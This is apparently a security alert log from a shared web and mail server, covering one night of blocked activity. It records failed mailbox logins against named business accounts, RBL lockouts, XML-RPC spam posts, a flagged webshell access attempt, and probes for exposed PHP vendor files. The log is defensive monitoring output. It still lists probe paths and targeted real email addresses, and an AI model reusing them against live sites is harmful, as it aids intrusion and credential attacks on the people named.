2026-01-14 22:46:39 H=([94.32.197.120]) [94.32.197.120]:20030 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.151.85.71
country_id: 298795
description:
2026-01-14 22:46:55 H=([91.151.85.71]) [91.151.85.71]:15974 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.196.34
country_id: 2413451
description:
Jan 14 22:47:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.196.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.32.197.120
country_id: 3175395
description:
2026-01-14 22:48:44 H=([94.32.197.120]) [94.32.197.120]:20215 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.1.233
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-53.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.198.91
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/p-3.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.248.64.51
country_id: 192950
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/2259631427.jpg&size=1000x1000 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.101.108.173
country_id: 1269750
description:
2026-01-14 22:53:19 H=([103.101.108.173]) [103.101.108.173]:37729 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.37.42.119
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/back/27/86256 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.101.108.173
country_id: 1269750
description:
2026-01-14 22:56:04 H=([103.101.108.173]) [103.101.108.173]:38000 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.101.108.173
country_id: 1269750
description:
2026-01-14 22:57:25 H=([103.101.108.173]) [103.101.108.173]:38138 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.12.33.240
country_id: 3865483
description:
2026-01-14 22:58:07 dovecot_login authenticator failed for H=(213.5.130.84) [198.12.33.240]:58447: 535 Incorrect authentication data (set_id=hew.chinkuen@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.101.108.173
country_id: 1269750
description:
2026-01-14 22:58:18 H=([103.101.108.173]) [103.101.108.173]:38225 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.240.76.167
country_id: 2464461
description:
2026-01-14 23:00:54 dovecot_plain authenticator failed for H=([89.116.164.85]) [197.240.76.167]:59430: 535 Incorrect authentication data (set_id=info@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.25
country_id: 2750405
description:
Jan 14 23:03:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.125.241.111
country_id: 1733045
description:
2026-01-14 23:05:10 dovecot_plain authenticator failed for H=([89.116.164.85]) [27.125.241.111]:15097: 535 Incorrect authentication data (set_id=admin@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.192.215.192
country_id: 1733045
description:
2026-01-14 23:05:13 dovecot_plain authenticator failed for H=([89.116.164.85]) [14.192.215.192]:25756: 535 Incorrect authentication data (set_id=admin@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 14 23:06:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 54.221.130.220
country_id: 6252001
description:
Jan 14 23:06:18 sv3 pure-ftpd[2550241]: (?@54.221.130.220) [INFO] New connection from 54.221.130.220


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.231.80
country_id: 2245662
description:
2026-01-14 23:09:22 dovecot_plain authenticator failed for H=([89.116.164.85]) [196.207.231.80]:39603: 535 Incorrect authentication data (set_id=support@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.233.182.39
country_id: 1835841
description:
Jan 14 23:09:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.233.182.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-01-14 23:09:29 dovecot_login authenticator failed for H=([218.233.182.39]) [218.233.182.39]:8298: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.56.246.187
country_id: 6252001
description:
2026-01-14 23:09:35 dovecot_plain authenticator failed for H=pool-173-56-246-187.nycmny.fios.verizon.net ([89.116.164.85]) [173.56.246.187]:45439: 535 Incorrect authentication data (set_id=support@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.153.44.47
country_id: 3658394
description:
2026-01-14 23:09:49 dovecot_plain authenticator failed for H=ip-59-153-44-47.alfanet.net.ec ([89.116.164.85]) [59.153.44.47]:20322: 535 Incorrect authentication data (set_id=support@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.52.101.247
country_id: 1814991
description:
2026-01-14 23:10:36 dovecot_login authenticator failed for H=(185-165-240-207.hosted-by-worldstream.net) [106.52.101.247]:64976: 535 Incorrect authentication data (set_id=amira.zahari@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.80.228.231
country_id: 6252001
description:
Jan 14 23:12:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.80.228.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.80.228.231
country_id: 6252001
description:
2026-01-14 23:12:34 dovecot_login authenticator failed for H=([129.80.228.231]) [129.80.228.231]:40658: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.212.140.25
country_id: 3469034
description:
2026-01-14 23:13:48 dovecot_plain authenticator failed for H=([89.116.164.85]) [177.212.140.25]:40620: 535 Incorrect authentication data (set_id=sales@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.143.56.223
country_id: 1733045
description:
2026-01-14 23:14:02 dovecot_plain authenticator failed for H=([89.116.164.85]) [175.143.56.223]:30426: 535 Incorrect authentication data (set_id=sales@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/home/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.143.56.223
country_id: 1733045
description:
2026-01-14 23:14:09 dovecot_login authenticator failed for H=([89.116.164.85]) [175.143.56.223]:30426: 535 Incorrect authentication data (set_id=sales@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.251.237.68
country_id: 1562822
description:
2026-01-14 23:14:16 dovecot_plain authenticator failed for H=([89.116.164.85]) [171.251.237.68]:17586: 535 Incorrect authentication data (set_id=sales@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.209.108.42
country_id: 6254930
description:
Jan 14 23:14:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.209.108.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.209.108.42
country_id: 6254930
description:
2026-01-14 23:14:54 dovecot_plain authenticator failed for H=(revolis) [185.209.108.42]:35892: 535 Incorrect authentication data (set_id=info@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.151.46.94
country_id: 1168579
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Waring.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.135
country_id: 2017370
description:
Jan 14 23:16:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.135
country_id: 2017370
description:
2026-01-14 23:16:51 dovecot_login authenticator failed for H=([178.178.194.135]) [178.178.194.135]:34568: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.108.162.24
country_id: 3469034
description:
Jan 14 23:18:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.108.162.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.232.89.40
country_id: 3469034
description:
2026-01-14 23:18:36 H=([45.232.89.40]) [45.232.89.40]:62607 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.135
country_id: 2017370
description:
Jan 14 23:18:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.135
country_id: 2017370
description:
2026-01-14 23:18:40 dovecot_login authenticator failed for H=([178.178.194.135]) [178.178.194.135]:40634: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.108.162.24
country_id: 3469034
description:
2026-01-14 23:18:10 dovecot_login authenticator failed for H=([131.108.162.24]) [131.108.162.24]:42510: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.195.241.130
country_id: 1168579
description:
2026-01-14 23:18:19 dovecot_plain authenticator failed for H=([89.116.164.85]) [45.195.241.130]:19861: 535 Incorrect authentication data (set_id=marketing@agpc.org.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.232.89.40
country_id: 3469034
description:
2026-01-14 23:19:41 H=([45.232.89.40]) [45.232.89.40]:62325 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.232.89.40
country_id: 3469034
description:
2026-01-14 23:20:22 H=([45.232.89.40]) [45.232.89.40]:62933 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.241.117.45
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-2.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.73.65.66
country_id: 149590
description:
2026-01-14 23:21:40 dovecot_login authenticator failed for H=(213.5.130.160) [154.73.65.66]:42589: 535 Incorrect authentication data (set_id=amira.zahari@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.165.243.128
country_id: 298795
description:
2026-01-14 23:22:09 dovecot_plain authenticator failed for H=([89.116.164.85]) [78.165.243.128]:49066: 535 Incorrect authentication data (set_id=contact@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.117.217.167
country_id: 2542007
domain: store.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/store.oxbold.com/cgi-bin/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.165.243.128
country_id: 298795
description:
2026-01-14 23:22:16 dovecot_login authenticator failed for H=([89.116.164.85]) [78.165.243.128]:49066: 535 Incorrect authentication data (set_id=contact@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.44.25.57
country_id: 3175395
description:
2026-01-14 23:22:23 dovecot_plain authenticator failed for H=host-79-44-25-57.retail.telecomitalia.it ([89.116.164.85]) [79.44.25.57]:37752: 535 Incorrect authentication data (set_id=contact@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.180.222.151
country_id: 99237
domain: www.store.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.store.oxbold.com/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.83.17.131
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Log HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 95.135.253.45
country_id: 2750405
domain: aircarbonic.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85512.aircarbonic.com.my||ServerName:aircarbonic.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad59acb956fe37a5a2deea7ccc43014f337d27b9||Title:0xcd77f982||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 95.135.253.45
country_id: 2750405
domain: aircarbonic.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95878.aircarbonic.my||ServerName:aircarbonic.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b169e5e9aa1b84ad9ea41e21086e700cf92b020a||Title:0xf2e57bb9||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.36.137.177
country_id: 1522867
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/hamcrest/hamcrest-php/LICENSE.txt HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.80.0.1
country_id: 3469034
description:
2026-01-14 23:26:29 dovecot_plain authenticator failed for H=([89.116.164.85]) [201.80.0.1]:16854: 535 Incorrect authentication data (set_id=contato@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.254.109.44
country_id: 3625428
description:
2026-01-14 23:26:45 dovecot_plain authenticator failed for H=([89.116.164.85]) [38.254.109.44]:37560: 535 Incorrect authentication data (set_id=contato@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.34.204.65
country_id: 1269750
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/windfoilmalaysia-tnc.htm HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.173.78.90
country_id: 2510769
description:
Jan 14 23:28:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.173.78.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.173.78.90
country_id: 2510769
description:
2026-01-14 23:28:05 dovecot_login authenticator failed for H=([90.173.78.90]) [90.173.78.90]:36598: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.188.253.150
country_id: 1269750
description:
Jan 14 23:27:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.188.253.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-14 23:27:22 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:46984: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.68.238
country_id: 1210997
description:
2026-01-14 23:30:47 dovecot_plain authenticator failed for H=([89.116.164.85]) [103.187.68.238]:43504: 535 Incorrect authentication data (set_id=contacto@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.125.243.76
country_id: 1733045
description:
2026-01-14 23:31:08 dovecot_plain authenticator failed for H=([89.116.164.85]) [27.125.243.76]:50667: 535 Incorrect authentication data (set_id=contacto@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.133.117.128
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/much/17/659/1798680 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.125.243.76
country_id: 1733045
description:
2026-01-14 23:31:15 dovecot_login authenticator failed for H=([89.116.164.85]) [27.125.243.76]:50667: 535 Incorrect authentication data (set_id=contacto@agpc.org.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.206
country_id: 6252001
description:
Jan 14 23:34:47 sv3 pure-ftpd[2566668]: (?@198.235.24.206) [INFO] New connection from 198.235.24.206


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.171.208.47
country_id: 6252001
description:
2026-01-14 23:35:30 dovecot_plain authenticator failed for H=([89.116.164.85]) [173.171.208.47]:38049: 535 Incorrect authentication data (set_id=financeiro@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.41.2.213
country_id: 3865483
description:
2026-01-14 23:35:10 dovecot_plain authenticator failed for H=([89.116.164.85]) [179.41.2.213]:34685: 535 Incorrect authentication data (set_id=financeiro@agpc.org.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.48.55.184
country_id: 597427
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-36.185.48.55.184||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 23:36:30 H=([45.144.212.242]) [45.144.212.242]:50111 F=<no_reply@admin.com> rejected RCPT <hooishian@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.36.115.170
country_id: 1269750
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/StoreUsersRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 23:38:09 H=([45.144.212.242]) [45.144.212.242]:60114 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.56.3.148
country_id: 6252001
description:
2026-01-14 23:40:06 dovecot_plain authenticator failed for H=([89.116.164.85]) [172.56.3.148]:38574: 535 Incorrect authentication data (set_id=comercial@agpc.org.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 148.113.166.33
country_id: 6251999
domain: manforce.net
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.163.169.155
country_id: 6252001
description:
2026-01-14 23:39:36 dovecot_plain authenticator failed for H=([89.116.164.85]) [67.163.169.155]:33847: 535 Incorrect authentication data (set_id=comercial@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.188.126.205
country_id: 3895114
description:
2026-01-14 23:39:51 dovecot_plain authenticator failed for H=201-188-126-205.fo.baf.movistar.cl ([89.116.164.85]) [201.188.126.205]:54708: 535 Incorrect authentication data (set_id=comercial@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.56.3.148
country_id: 6252001
description:
2026-01-14 23:40:13 dovecot_login authenticator failed for H=([89.116.164.85]) [172.56.3.148]:38574: 535 Incorrect authentication data (set_id=comercial@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.88.77.210
country_id: 1269750
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/Eka.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.25.95.159
country_id: 3469034
description:
2026-01-14 23:43:57 dovecot_plain authenticator failed for H=([89.116.164.85]) [177.25.95.159]:42290: 535 Incorrect authentication data (set_id=hello@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.78.23.116
country_id: 3469034
description:
2026-01-14 23:44:12 dovecot_plain authenticator failed for H=([89.116.164.85]) [177.78.23.116]:36156: 535 Incorrect authentication data (set_id=hello@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.107.107.56
country_id: 1282988
description:
2026-01-14 23:48:18 dovecot_plain authenticator failed for H=([89.116.164.85]) [150.107.107.56]:21836: 535 Incorrect authentication data (set_id=webmaster@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.154.20
country_id: 732800
description:
2026-01-14 23:48:32 dovecot_plain authenticator failed for H=vlan-154-game-20.comnet.bg ([89.116.164.85]) [84.54.154.20]:52374: 535 Incorrect authentication data (set_id=webmaster@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.158.200.254
country_id: 3437598
description:
2026-01-14 23:48:49 dovecot_plain authenticator failed for H=([89.116.164.85]) [186.158.200.254]:59998: 535 Incorrect authentication data (set_id=webmaster@agpc.org.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.33
country_id: 130758
description:
2026-01-14 23:50:17 66378 [Warning] Aborted connection 66378 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.33' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.201.137.188
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=3&sub=7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 130.193.241.231
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/process/Pipes/UnixPipes.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.33
country_id: 130758
description:
2026-01-14 23:52:17 66436 [Warning] Aborted connection 66436 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.33' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.114.34.187
country_id: 3895114
description:
2026-01-14 23:52:33 dovecot_plain authenticator failed for H=([89.116.164.85]) [190.114.34.187]:45550: 535 Incorrect authentication data (set_id=it@agpc.org.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 23:54:06 H=([45.144.212.242]) [45.144.212.242]:55904 F=<no_reply@admin.com> rejected RCPT <info@aircarbonic.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.247
country_id: 6252001
description:
2026-01-14 23:54:17 66501 [Warning] Aborted connection 66501 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.247' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.236.98.159
country_id: 285570
description:
2026-01-14 23:56:51 dovecot_plain authenticator failed for H=([89.116.164.85]) [188.236.98.159]:59086: 535 Incorrect authentication data (set_id=accounts@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.252.94.218
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/11documentsecurity.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.219.8
country_id: 1282988
description:
2026-01-14 23:57:10 dovecot_plain authenticator failed for H=([89.116.164.85]) [103.134.219.8]:29355: 535 Incorrect authentication data (set_id=accounts@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.221
country_id: 3865483
description:
Jan 14 23:57:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.0.83.168
country_id: 1562822
description:
2026-01-14 23:57:27 dovecot_login authenticator failed for H=([127.0.0.1]) [117.0.83.168]:37220: 535 Incorrect authentication data (set_id=office@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.175.232.233
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation-contracts/TranslatorInterface.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.33
country_id: 130758
description:
2026-01-14 23:57:58 66639 [Warning] Aborted connection 66639 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.33' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 23:58:49 H=([45.144.212.242]) [45.144.212.242]:51450 F=<no_reply@admin.com> rejected RCPT <info@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.192.42.52
country_id: 1168579
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2021/04/223_100_logo.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.229.43
country_id: 1282988
description:
2026-01-15 00:01:08 dovecot_plain authenticator failed for H=([89.116.164.85]) [103.176.229.43]:44380: 535 Incorrect authentication data (set_id=noreply@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.229.43
country_id: 1282988
description:
2026-01-15 00:01:15 dovecot_login authenticator failed for H=([89.116.164.85]) [103.176.229.43]:44380: 535 Incorrect authentication data (set_id=noreply@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.220.41.39
country_id: 99237
description:
2026-01-15 00:01:22 dovecot_plain authenticator failed for H=([89.116.164.85]) [91.220.41.39]:29085: 535 Incorrect authentication data (set_id=noreply@agpc.org.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.104.20.234
country_id: 2635167
domain: agsaintifik.com.my
description:
